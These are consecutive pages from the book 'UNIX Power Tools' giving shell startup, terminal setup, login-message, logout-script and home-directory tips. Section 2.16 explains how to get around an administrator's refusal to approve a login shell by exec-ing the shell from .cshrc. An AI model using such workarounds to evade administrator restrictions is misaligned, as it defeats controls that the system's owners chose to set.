2.11 Faster ksh and bash Startup with $- Test

Do you use the Korn shell - and does your account have an "ENV file" (2.2) (a startup file named in the ENV environment variable)? bash users, you probably have setup files like .bashrc or .bash_login. You might have the same problem (2.9) that C shell users have with .cshrc: noninteractive shells read aliases and other lines that you want to be read only by interactive shells. Speed up your file by adding a test like this:

case

case $- in
  *i*);;
  *) return 0;;
esac
# COMMANDS BELOW THIS LINE WILL ONLY BE RUN BY INTERACTIVE SHELLS:
   ...

The test checks to see if the shell's -i option is set. If it isn't, the return 0 quits the file.

- JP

Previous: 2.10 Gotchas in set prompt Test | UNIX Power Tools | Next: 2.12 Automatic Setups for Different Terminals
2.10 Gotchas in set prompt Test | Book Index | 2.12 Automatic Setups for Different Terminals
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.12 Automatic Setups for Different Terminals

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 2.11 Faster ksh and bash Startup with $- Test Chapter 2
Logging In 		Next: 2.13 A .cshrc.$HOST File for Per Host Setup

2.12 Automatic Setups for Different Terminals

If you work at several kinds of terminals, terminal setup can be tough. For instance, my X terminal sends a backspace character when I push the upper-right key, but the same key on another terminal sends a delete character-I want stty erase (5.9) to set the right erase character automatically. Maybe you want a full set of calendar programs started when you log in to the terminal at your desk, but not when you make a quickie login (2.5) from somewhere else.

Here are some ideas for changing your login sequence automatically. Some examples are for the C shell and use that shell's switch (47.6) and if (47.3). Examples for Bourne-type shells use case (44.5) and if (44.8). If you use the other type of shell, the idea still applies; just switch the syntax.

  • If all you want to do is initialize your terminal (set the TERM variable (5.10), set your erase character, etc.), the tset (5.3) command may be all you need.

  • If your TERM environment variable is set differently on each terminal, you can add a test like this to your .login file:

    switch ($TERM)
case vt100:
   ...do commands for vt100
   breaksw
case xxx:
   ...do commands for xxx
   breaksw
default:
   ...do commands for other terminals
   breaksw
endsw

    and so on.

  • If you log in from other hosts (1.33) or from hosts running the X window system (1.31), the who am i command will probably show a hostname and/or window information in parentheses:

    bash$ who am i
jpeek    pts/6        Jul 17 10:30   (www.jpeek.com:0.0)

    (Long hostnames may be truncated. Check yours before you write this test.) If the information in parentheses will help, add commands like these to your .profile file:

    case \(..\)  \1

    case "`who am i | sed -n 's/.*(\(.*\))/\1/p'`" in
*0.0)   ...do commands for X display 0 ;;
mac2*)  ...do commands for the host mac2.foo.com ;;
"")     ...no output (probably not a remote login) ;;
*)      ...do commands for other situations ;;
esac

    That uses sed (34.24) to give the text between the parentheses for that remote host to the case. This *0.0 case matches lines ending with 0.0, the mac2 case matches lines that start with mac2, an empty string means sed probably didn't find any parentheses, and the * case catches everything else.

  • If you know that certain port numbers are used for certain kinds of logins, you can test that. For example, many systems use ttyp0, ttyq1, etc. as network ports for rlogin and telnet (1.33). This test will branch on the port name:

    case "`tty`" in
/dev/tty[pqrs]?)
   # rlogin, telnet:
   ...
/dev/tty02)
   # terminal on my desk:
   ...
"not a tty") ;;  ...not a terminal login session; do nothing
esac

  • Certain systems set certain environment variables. For example, the X Window System sets a DISPLAY environment variable. (If you aren't sure about your system, use the env or printenv command (6.1) to look for changes in your environment at different systems.) You can test that:

    if $?

    if ($?DISPLAY) then
   # on X window system
   ...
else if ($?WIN_PARENT) then
   # on SunView system
   ...
else
   ...
endif

  • Your system may have a /etc/ttytab or /etc/ttys file that lists the type of each terminal port. Lines in the file look something like this:

    console "/usr/etc/getty std.9600"    vt100      on  local
tty00   "/usr/etc/getty std.9600"    dialup     off local
tty01   "/usr/etc/getty std.9600"    plugboard  off local
   ...
ttyp0   none                         network    off
   ...

    (For example, port ttyp0 is network, the type used by xterm (1.31), telnet (1.33), and so on.)

    You can match the output of the tty (3.8) command, which shows your current tty, to the first column of that file. The output of tty starts with /dev or /dev/pts. So, to match your current tty to the file, you need to strip the name to its tail. For example, in bash and ksh, these three lines would put the terminal port type (vt100, plugboard, etc.) into the ttykind shell variable:

${..#..}
awk
    tty=`tty`
ttytail=${tty#/dev/}
ttykind=`awk '$1 == "'$ttytail'" {print $3}' /etc/ttys`

  • You can also deal with many of these cases using the venerable but obscure tset (5.3) program to select and initialize the correct terminal type. Another program you can use to set the terminal type is qterm (5.5), available on the CD-ROM.

- JP

Previous: 2.11 Faster ksh and bash Startup with $- Test | UNIX Power Tools | Next: 2.13 A .cshrc.$HOST File for Per Host Setup
2.11 Faster ksh and bash Startup with $- Test | Book Index | 2.13 A .cshrc.$HOST File for Per Host Setup
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.13 A .cshrc.$HOST File for Per Host Setup

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 2.12 Automatic Setups for Different Terminals Chapter 2
Logging In 		Next: 2.14 motd.diff: Show New Lines in Login Messages

2.13 A .cshrc.$HOST File for Per Host Setup

I work with different types of machines every day. It is often necessary to set things up differently for, say, a Linux box, than a SPARCstation. Going beyond that, you may want to set things up differently on a per-host basis.

I have this test in my .cshrc file:

setenv
if ~

setenv HOST "`uname -n`"
if (-e ~/lib/cshrc.hosts/cshrc.$HOST) then
   source ~/lib/cshrc.hosts/cshrc.$HOST
endif

So, if I log in to a machine named (50.7) bosco, and I have a file called ~/lib/cshrc.hosts/cshrc.bosco, I can source (44.23) it to customize my environment for that one machine. Examples of things you would put in a .cshrc.$HOST file:

  • Search path (8.7): some machines have /usr/local/bin, and some have /opt. The same goes for cdpath (14.5).

  • Terminal settings (5.9): I always like to reach for the upper-right part of a keyboard to erase characters. Sometimes this is the location for the BACKSPACE key, and sometimes it is the DELETE key. I set things up so that I can consistently get "erase" behavior from whatever key is there.

  • Other shell variables (6.8) and environment variables (6.1) may be different. You may run a package on a certain machine that relies on a few environment variables. No need to always set them and use up a little bit of memory if you only use them in one place!

In general, this idea allows you to group together whatever exceptions you want for a machine, rather than having to write a series of switch (47.6) or if statements (47.3) throughout your .cshrc and .login files.

- DS

Previous: 2.12 Automatic Setups for Different Terminals | UNIX Power Tools | Next: 2.14 motd.diff: Show New Lines in Login Messages
2.12 Automatic Setups for Different Terminals | Book Index | 2.14 motd.diff: Show New Lines in Login Messages
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.14 motd.diff: Show New Lines in Login Messages

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 2.13 A .cshrc.$HOST File for Per Host Setup Chapter 2
Logging In 		Next: 2.15 Unclutter Logins: Show Login Messages Just Once

2.14 motd.diff: Show New Lines in Login Messages

One UNIX system I worked on had a really lonnnnnnnng login message that scrolled across my screen. It had a lot of old stuff that I'd seen for the last three weeks. For a while, I started ignoring it. But I knew that some day the system manager would put a shutdown notice in there that I wouldn't see...

This script solved the problem. I run it from my .login file. Each time I log in, the script compares the current /etc/motd file to the one on my previous login. If lines were added, I see them; the script pauses to give me time to read:

login: jpeek
Password:

Additions to system message-of-the-day:
===== 9/5/91 =====
The system will be down for maintenance from 9 to 11 tonight.
Hit RETURN to continue:

If there are no new lines, my login is nice and quiet.

motd.diff
This works best on systems that look for a file named .hushlogin in your home directory and don't print login messages if the file exists. [2] Install the program from the CD-ROM, then add the command motd.diff on a line in your .login or .profile.

[2] That also shuts off the message You have mail. But I always have mail, so I don't need that. :-) If you do, and you use a command like Berkeley mail or mailx, add this line to your .login file:

if { mail -e } echo You have mail.

Those curly brace ({}) operators (47.4) work with the if (47.3), to test the exit status (44.7) of mail -e. If mail -e returns zero ("success"), echo (8.6) prints You have mail.

motd.diff uses diff (28.1) to compare the system's current motd to the motd at your last login on that host (stored in a file named .last.motd.hostname in your home directory). The script finds whether lines have been added by grepping for the character > at the start of each line of diff output:

diff $lastmotd /etc/motd > $temp
   ...
if grep "^>" $temp >/dev/null    # diff USES > TO MARK NEW LINES
then
   ...show lines...

The comm (28.12) command also shows lines that have been added to a file. But comm only handles sorted files; this trick works on unsorted files. The if (44.8) tests grep's exit status (44.7) (grep returns a zero status when it finds matching lines). grep's output is "thrown away" into /dev/null (13.14)- some versions of grep have a -s ("silent") option to do the same thing.

This script is designed to work on networked filesystems where my same home directory is mounted on more than one computer. If your home directory isn't shared between computers, or if all systems have the same system messages, you can edit the script to delete the hostname variable and command.

- JP

Previous: 2.13 A .cshrc.$HOST File for Per Host Setup | UNIX Power Tools | Next: 2.15 Unclutter Logins: Show Login Messages Just Once
2.13 A .cshrc.$HOST File for Per Host Setup | Book Index | 2.15 Unclutter Logins: Show Login Messages Just Once
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.15 Unclutter Logins: Show Login Messages Just Once

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 2.14 motd.diff: Show New Lines in Login Messages Chapter 2
Logging In 		Next: 2.16 Approved Shells: Using Unapproved Login Shell

2.15 Unclutter Logins: Show Login Messages Just Once

Ignoring your system login messages because they're so long? You might miss something important some day. Here's a way to see the message, from the file /etc/motd, only if it's changed since the last time you read it. The ls option -t (16.2) sorts a list of files with the most recently modified file first. The following lines use a csh array (47.5) to store the output of ls -t comparing two files' modification times. If the /etc/motd file is newer than the ~/.hushlogin file, two commands are run. I use these lines in my .login file (2.2), though they will work anywhere in the C shell:

set files=(`ls -t /etc/motd ~/.hushlogin`)
if ( $files[1] == /etc/motd ) then
    cat /etc/motd
    touch ~/.hushlogin
endif
unset files

NOTE: If you have ls aliased (10.2) to output anything but filenames (for instance, to print the sizes of files with -s) you'll need to use the system version with /bin/ls instead of just ls.

This method uses the .hushlogin files on many UNIXes: if that file exists, the login process is quiet. We make .hushlogin do double duty by storing the current timestamp with touch (21.7).

(This ls -t file-comparison technique will work on all UNIXes and it's useful any time you need to compare two files. You can use the same technique to mark the time that something has happened to any file - or to compare any two files or directories. Use the ls -d option (16.8) for directories.)

- JP

Previous: 2.14 motd.diff: Show New Lines in Login Messages | UNIX Power Tools | Next: 2.16 Approved Shells: Using Unapproved Login Shell
2.14 motd.diff: Show New Lines in Login Messages | Book Index | 2.16 Approved Shells: Using Unapproved Login Shell
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.16 Approved Shells: Using Unapproved Login Shell

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 2.15 Unclutter Logins: Show Login Messages Just Once Chapter 2
Logging In 		Next: 3. Logging Out

2.16 Approved Shells: Using Unapproved Login Shell

Since 4.2BSD, Berkeley UNIX systems have restricted chsh (or a command like it) to change your login shell only to a shell that's listed in the file /etc/shells. That's partly a safety feature, like requiring you to type your old password before you can change to a new one: it keeps other people from giving you a strange login shell as a joke. It's also for security - a way for the system administrator to give a list of shells that are robust enough to run peoples' accounts.

The usual "approved" shells are the Bourne and C shells. If you want to use another shell as your login shell and your system has /etc/shells, ask the system administrator to add your shell. The shell will need to be stored in a secure system directory to make it harder for system crackers to corrupt the shell.

If the system administrator won't approve your login shell, here's a work-around. It lets you log in with an approved shell, then automatically replace the shell with whatever you want. (For background, see article 51.9.)

  1. If your login shell isn't C shell, use chsh or a command like it to change it to the C shell.

  2. If your new shell will be bash, you can skip this step. Otherwise:

    In your home directory, make a hard or symbolic link (18.4)directory, to your shell. Use a name starting with a minus sign (-); this makes the shell act like a login shell (51.9). For example, to make a symbolic link in your home directory named -ksh to the shell /usr/local/bin/ksh, type this command:

    ./
    % ln -s /usr/local/bin/ksh ./-ksh

  3. Add lines to the top of the .cshrc (2.2) file that replace the csh process with your login shell. (The exec (45.7) command replaces a process.)

    • If you use a Bourne-type shell that reads the .profile file at login time, use lines like these:

TERM
su
if $?

      # OVERRIDE DEFAULT LOGIN C SHELL TO USE ksh.
setenv SHELL /usr/local/bin/ksh
# IF $TERM SET (BY login OR rlogin), START LOGIN SHELL.
# UNFORTUNATELY, THIS MAKES su USE A LOGIN SHELL TOO.
if ($?TERM) then
   cd
   exec -ksh   # USE "LOGIN SHELL" SYMLINK IN $HOME
else
   exec $SHELL
endif
echo "******** WARNING: exec ksh FAILED ********"

      If your new login shell will be bash, you can replace the line exec -ksh above with:

      exec $SHELL -login

      because bash has a -login option that tells it to act like a login shell. Simple, eh?

    • If your new login shell is a csh-type shell that also reads .cshrc, you need to add a test to .cshrc that prevents an infinite loop. This test uses the SH_EXECD environment variable (6.1) as a flag:

      # OVERRIDE DEFAULT LOGIN C SHELL TO USE tcsh.
if (! $?SH_EXECD) then
   setenv SH_EXECD yes
   setenv SHELL /usr/local/bin/tcsh
   # IF $TERM SET (BY login OR rlogin), START LOGIN SHELL.
   # USE switch, NOT if, DUE TO csh BUG WITH IMBEDDED else.
   # UNFORTUNATELY, THIS MAKES su USE A LOGIN SHELL TOO.
   switch ($?TERM)
   case 1:
      cd
      exec -tcsh    # USE "LOGIN SHELL" SYMLINK IN $HOME
      breaksw
   default:
      exec $SHELL   # USE NON-LOGIN SHELL
      breaksw
   endsw
   echo "******** WARNING: exec tcsh FAILED ********"
endif

    • The C shell may not find your new shell (-ksh or -tcsh) unless you have the current directory (.) in your search path (8.7) (put it at the end of your path!). You may also be able to use an absolute pathname (14.2) to the new shell, but that could hide the leading minus sign (-) and the shell might not act like a login shell.

    • Is there a chance that your new shell might be missing some day? For instance, is it on a network filesystem that might be unavailable? Then it's a good idea to wrap the new code above with a test:

      -e

      if (-e my-new-shell) then
    ...code to start new shell...
else
    echo "*** WARNING: new shell failed.  Using csh. ***"
endif

  4. Test your new setup:

    • Try commands that start subshells (38.4), like su, rsh, and so on (2.7), to be sure that they start your new shell.

    • Put the csh command set echo (8.17) at the top of your .cshrc file to be sure your commands there are working.

    • Type a command that will work only in your new shell (not in a C shell).

    • Use the ps (38.5) command ps $$ (on System V, ps -f -p $$) to look at your new shell process ($$ is your shell's process ID number (38.3)).

    • Before you log out of this shell, try logging in from somewhere else (2.4) to be sure your new shell startup files work.

  5. You're set to go.

If your login shell isn't listed in /etc/shells, the ftp (52.7) program (actually, the ftpd daemon (1.14)) may refuse to transfer files to your account. That's partly to stop ftp access to your system through special accounts that don't have passwords, like sync, who, finger, and so on. If you use the workaround steps above, though, that shouldn't be a problem; you'll have an approved shell listed in /etc/passwd and ftp usually doesn't run your login shell, anyway.

- JP

Previous: 2.15 Unclutter Logins: Show Login Messages Just Once | UNIX Power Tools | Next: 3. Logging Out
2.15 Unclutter Logins: Show Login Messages Just Once | Book Index | 3. Logging Out
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] Logging Out

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 2.16 Approved Shells: Using Unapproved Login Shell Chapter 3 Next: 3.2 Running Commands at Bourne/Korn Shell Logout

3. Logging Out

Contents:
Running Commands When You Log Out
Running Commands at Bourne/Korn Shell Logout
Electronic Fortune Cookies
Automatic File Cleanup
Stop Accidental C Shell Logouts
Stop Accidental Bourne Shell Logouts
Detaching a Session with screen
What tty Am I On?

3.1 Running Commands When You Log Out

Is there something you want to do every time you log out: run a program that deletes temporary files, asks you a question, or prints a fortune to your screen? If you use the C shell, make a file named .logout (2.2) in your home directory and put the commands there. Before a login C shell exits, it'll read that file. But not all shells are login C shells; you might want these shells to read your logout-type file, too. Articles 2.7 and 2.8 have some suggestions.

Some ideas for your .logout are:

  • A command like fortune (3.3) to give you something fun to think about when you log out.

  • A background command to clean up temporary files, as in article 3.4.

  • A command to list a "reminder" file - for example, work to take home.

  • A script that prompts you for the hours you've worked on projects so you can make a timesheet later.

  • The command clear (22.18) to erase your screen. This keeps the next user from reading what you did. [1] It also helps to stop "burn-in" damage to terminals caused by characters left over from your login session. (Some UNIXes clear the screen before printing the login: prompt. Of course, this won't help users who connect with a data switch (52.9) or port manager because the connection will be broken before the next login prompt.)

    [1] Some terminals and windows have "scroll back" memory of previous screens. clear usually doesn't erase all of that.

If you connect to this host over a network, with a slow modem or on a data switch - and you don't see all the .logout commands run before your connection closes - try putting the command sleep 2 (40.2) at the end of the file. That makes the shell wait two seconds before it exits, which gives output more time to get to your screen.

- JP

Previous: 2.16 Approved Shells: Using Unapproved Login Shell | UNIX Power Tools | Next: 3.2 Running Commands at Bourne/Korn Shell Logout
2.16 Approved Shells: Using Unapproved Login Shell | Book Index | 3.2 Running Commands at Bourne/Korn Shell Logout
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] 3.2 Running Commands at Bourne/Korn Shell Logout

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 3.1 Running Commands When You Log Out Chapter 3
Logging Out 		Next: 3.3 Electronic Fortune Cookies

3.2 Running Commands at Bourne/Korn Shell Logout

The C shell has a setup file named .logout (2.2). Commands in .logout are run when you log out. The Bourne and Korn shells don't have a logout file, though. Here's how to make one:

  1. In your .profile file, add the line:

    trap .
    trap '. $HOME/.sh_logout; exit' 0

    (Some systems may need $LOGDIR instead of $HOME.)

  2. Make a file in your home directory named .sh_logout. Put in the commands you want to be run when you log out. For example:

if [ -f

    clear
if [ -f $HOME/todo.tomorrow ]
then
    echo "=========== STUFF TO DO TOMORROW: ============"
    cat $HOME/todo.tomorrow
fi

The trap will read the .sh_logout file when the shell exits.

- JP

Previous: 3.1 Running Commands When You Log Out | UNIX Power Tools | Next: 3.3 Electronic Fortune Cookies
3.1 Running Commands When You Log Out | Book Index | 3.3 Electronic Fortune Cookies
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] 3.3 Electronic Fortune Cookies

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 3.2 Running Commands at Bourne/Korn Shell Logout Chapter 3
Logging Out 		Next: 3.4 Automatic File Cleanup

3.3 Electronic Fortune Cookies

It's a damn poor mind that can only think of one way to spell a word.
                - Andrew Jackson

Too much of a good thing is WONDERFUL.
                - Mae West

Democracy is a form of government that substitutes election by the
incompetent many for appointment by the corrupt few.
                - G. B. Shaw

Research is what I'm doing when I don't know what I'm doing.
                - Wernher von Braun

I do not feel obliged to believe that same God who endowed us with
sense, reason, and intellect had intended for us to forgo their use.
                - Galileo

Computers are useless; they can only give answers.
                - Picasso

Dyslexics of the world, untie!

These messages come from a program named fortune-usually in the /usr/games directory. Every time you run fortune you'll get a message like one of these. Most users run fortune from their .profile or .logout files. If the directory /usr/games isn't in your search path (8.7), use the command /usr/games/fortune instead.

Every time someone runs fortune, the program has to write to its fortunes.dat file. Computers with networked filesystems might put that file on a "read-only" filesystem that most users can't write to. If you get that error and your system is set up to run rsh (1.33) without needing a password, ask your system administrator which computer has the filesystem mounted writable. Then run:

% rsh that-machine /usr/games/fortune

Some other versions use another way to keep track of fortunes; their files don't need to be writable.

- JP

Previous: 3.2 Running Commands at Bourne/Korn Shell Logout | UNIX Power Tools | Next: 3.4 Automatic File Cleanup
3.2 Running Commands at Bourne/Korn Shell Logout | Book Index | 3.4 Automatic File Cleanup
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] 3.4 Automatic File Cleanup

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 3.3 Electronic Fortune Cookies Chapter 3
Logging Out 		Next: 3.5 Stop Accidental C Shell Logouts

3.4 Automatic File Cleanup

If you use a system to make temporary files (21.3), your .logout file can clean up the temporary files. The exact cleanup command you'll use depends on how you create the files, of course. The overall setup looks something like this in .logout:

~
(set nonomatch; cd ~/temp && rm -f *) &

The parentheses run the commands in a subshell (13.7) so the cd command won't change the current shell's working directory. The C shell needs a set nonomatch (15.4) command so the shell will be quiet if there aren't any temp files to clean up; omit that command in Bourne-type shells. The && (44.9) means that rm won't run unless the cd succeeds. Using cd ~/temp first, instead of just rm ~/temp/*, helps to keep rm's command-line arguments from getting too long (15.6) if there are lots of temporary files to remove.

If you could be logged in more than once, be careful not to remove temp files that other login sessions might still be using. One way to do this is with the find (17.2) command - only remove files that haven't been modified in the last day:

xargs
find ~/temp -type f -mtime +1 | xargs rm -f &

- JP

Previous: 3.3 Electronic Fortune Cookies | UNIX Power Tools | Next: 3.5 Stop Accidental C Shell Logouts
3.3 Electronic Fortune Cookies | Book Index | 3.5 Stop Accidental C Shell Logouts
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] 3.5 Stop Accidental C Shell Logouts

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 3.4 Automatic File Cleanup Chapter 3
Logging Out 		Next: 3.6 Stop Accidental Bourne Shell Logouts

3.5 Stop Accidental C Shell Logouts

Do you occasionally type CTRL-d by mistake and find out that you're suddenly logged off the system? If you do, you should know about the ignoreeof shell variable or option. CTRL-d is the end-of-file character; when a shell sees it, it thinks that no more input is coming, so it quits. If you're in your login shell (51.9), you're suddenly logged out. If you're not in your login shell, you may still be in trouble: a window may have disappeared, or your environment may have suddenly changed because you dropped from a subshell (38.4) into the parent shell.

If you're a C shell user, you can solve this problem by setting the ignoreeof shell variable:

set ignoreeof        # prevent accidental shell termination

(Most users set this in their .cshrc or .login files.) Now typing CTRL-d won't terminate the shell. Instead, you'll get a polite message: Use `logout' to logout or perhaps Use `exit' to leave csh.

In the Korn shell and bash, use set -o ignoreeof instead. If you use the Bourne shell, article 3.6 has a workaround for the problem.

If you're like me, you won't use this feature; I happen to find CTRL-d a convenient shorthand for the logout or exit commands. But my taste is certainly disputable, and even I will admit that my fingers sometimes err.

- ML

Previous: 3.4 Automatic File Cleanup | UNIX Power Tools | Next: 3.6 Stop Accidental Bourne Shell Logouts
3.4 Automatic File Cleanup | Book Index | 3.6 Stop Accidental Bourne Shell Logouts
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] 3.6 Stop Accidental Bourne Shell Logouts

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 3.5 Stop Accidental C Shell Logouts Chapter 3
Logging Out 		Next: 3.7 Detaching a Session with screen

3.6 Stop Accidental Bourne Shell Logouts

It's pretty easy to type one too many CTRL-d characters and log out of a Bourne shell without meaning to. The C shell has an ignoreeof shell variable (3.5) that won't let you log out with CTRL-d. So do the Korn shell and bash; use set -o ignoreeof.

Here's a different sort of solution for the Bourne shell. When you end the shell, it asks if you're sure. If you don't answer yes, a new shell is started to replace your old one.

First, make a file like the C shell's .logout that will be read whenyour Bourne shell exits . (3.2) Save your tty (3.8) name in an environment variable (6.1), too-you'll need it later:

trap
TTY=`tty`; export TTY
trap '. $HOME/.sh_logout; exit' 0

(Your system may need $LOGDIR instead of $HOME.) Put the following lines in your new .sh_logout file:

exec <

case

exec -sh
exec < $TTY
echo "Do you really want to log out? \c"
read ans
case "$ans" in
[Yy]*) ;;
*)  exec $HOME/bin/-sh ;;
esac

The last line is some trickery to start a new login shell (51.9). The shell closes your tty (45.20) before reading your .sh_logout file; the exec < $TTY reconnects the shell's standard input to your terminal.

Note that if your system is very slow, you may not get the reminder message for a couple of seconds-you might forget that it's coming and walk away. That hasn't been a problem where I've tested this. If it is for you though, replace the read ans with a program like grabchars (45.32) that times out and gives a default answer after a while. There may be some Bourne shells that need other tricks-and others that don't need these tricks-but this should give you an idea of what to do.

- JP

Previous: 3.5 Stop Accidental C Shell Logouts | UNIX Power Tools | Next: 3.7 Detaching a Session with screen
3.5 Stop Accidental C Shell Logouts | Book Index | 3.7 Detaching a Session with screen
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] 3.7 Detaching a Session with screen

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 3.6 Stop Accidental Bourne Shell Logouts Chapter 3
Logging Out 		Next: 3.8 What tty Am I On?

3.7 Detaching a Session with screen

screen
If your system supports ptys (41.8), there's a really useful program you should have. screen (12.9) lets you start a process - like a shell (csh, sh, etc.), a news-reading program, or whatever - then whenever you want, detach the whole process and log out. You can then log in someplace later and resume where you left off - or have screen keep running whatever you started after you log out. You can start many windows, even on a non-windowing terminal, and switch between them.

Normally, you can exit screen by exiting each shell individually, or by using CTRL-a CTRL-\ to kill all sessions. And if you want to end a screen session but pick it up later on, you can exit using CTRL-a CTRL-d.

Instead of a screen is terminating message, you'll get one that says [detached]-followed by a prompt:

[detached]
%

To reattach the session later on, start screen with the -r option. You'll be placed in exactly the same screen session that you were in before. All your processes are still running - for example, if you were in the middle of editing a file in one of your screen sessions, the editing session is still active. You can just continue where you were.

This is great because it means that not only can you keep active sessions all the time (even if you log out), you can also resume them from different terminals. So for example, I could go home, log in from there and pick up exactly where I left off.

- LM, JP

Previous: 3.6 Stop Accidental Bourne Shell Logouts | UNIX Power Tools | Next: 3.8 What tty Am I On?
3.6 Stop Accidental Bourne Shell Logouts | Book Index | 3.8 What tty Am I On?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] 3.8 What tty Am I On?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 3.7 Detaching a Session with screen Chapter 3
Logging Out 		Next: 4. Organizing Your Home Directory

3.8 What tty Am I On?

Each login session has its own tty (38.6)- a UNIX device file that handles input and output for your terminal, window, etc. Each tty has its own filename. If you're logged on more than once and other users want to write or talk (1.33) to you, they need to know which tty to use. If you have processes running on several ttys, you can tell which process is where.

To do that, run the tty command at a shell prompt in the window:

% tty
/dev/tty07

You can tell other users to type write your-username tty07.

Some systems have different kinds of ttys: a few dialup terminals, some network ports for rlogin and telnet, etc. (1.33). You or your system administrator can look in a system file like /etc/ttys to find out which ttys are used for what. You can use this to make your login setup more automatic. For example, most network terminals on our computer have names like /dev/ttypx or /dev/ttyqx, where x is a single digit or letter. I have a test in my .logout file (3.1) that clears the screen and prints a fortune (3.3) on all ttys except network:

` ` !~

# Clear screen and print fortune on non-network ttys:
if ("`tty`" !~ /dev/tty[pq]*) then
    clear
    fortune
endif

tty
 The GNU version of tty is on the CD-ROM.

- JP

Previous: 3.7 Detaching a Session with screen | UNIX Power Tools | Next: 4. Organizing Your Home Directory
3.7 Detaching a Session with screen | Book Index | 4. Organizing Your Home Directory
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] Organizing Your Home Directory

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 3.8 What tty Am I On? Chapter 4 Next: 4.2 A bin Directory for Your Programs and Scripts

4. Organizing Your Home Directory

Contents:
What? Me, Organized?
A bin Directory for Your Programs and Scripts
Organizing Nonexecutable Scripts
Directories for Emacs Hacks
Private (Personal) Directories
Naming Files
Make More Directories!
Making Directories Made Easier
Setting Up vi with the .exrc File
Find All Command Versions with whereiz

4.1 What? Me, Organized?

Computers and offices have one thing in common: it's easy to lose things. If you walk into my office, you'll see stacks of paper on top of other stacks of paper, with a few magazines and business cards scattered in. I can often find things, but I'd be lying if I said that I could always find that article I was reading the other day!

When you look at a new computer user's home directory, you often see something that's similar to my office. You see a huge number of unrelated files, with obscure names. He hasn't created any subdirectories, aside from those the system administrator told him he needed; and those probably aren't even being used. His home directory probably contains programs for several different projects, personal mail, notes from meetings, a few data files, some half-finished documentation, a spreadsheet for something he started last month but has now forgotten, etc.

Remember that a computer's filesystem isn't that much different from any other filing system. If you threw all of your papers into one giant filing cabinet without sorting them into different topics and subtopics, the filing cabinet wouldn't do you any good at all: it would just be a mess. On a computer, the solution to this problem is to sort your files into directories, which are analogous to the filing cabinets and drawers.

The UNIX filesystem (1.19) can help you keep all of your material neatly sorted. Your directories are like filing cabinets, with dividers and folders inside them. In this chapter, we'll give some hints for organizing your computer "office." Of course, things occasionally get misplaced even in the most efficient offices. Articles 17.20 and 17.21 show some scripts that use the find and grep commands to help you find files that are misplaced.

- ML

Previous: 3.8 What tty Am I On? | UNIX Power Tools | Next: 4.2 A bin Directory for Your Programs and Scripts
3.8 What tty Am I On? | Book Index | 4.2 A bin Directory for Your Programs and Scripts
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.2 A bin Directory for Your Programs and Scripts

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 4.1 What? Me, Organized? Chapter 4
Organizing Your Home Directory 		Next: 4.3 Organizing Nonexecutable Scripts

4.2 A bin Directory for Your Programs and Scripts

If you compile programs (52.8) or write shell scripts (1.5), it's good to put them in one directory. This can be a subdirectory of your home directory. Or, if several people want to use these programs, you could pick any other directory - as long as you have write access to it. Usually, the directory's name is something like bin-though I name mine .bin (with a leading dot) (1.15) to keep it from cluttering my ls listings.

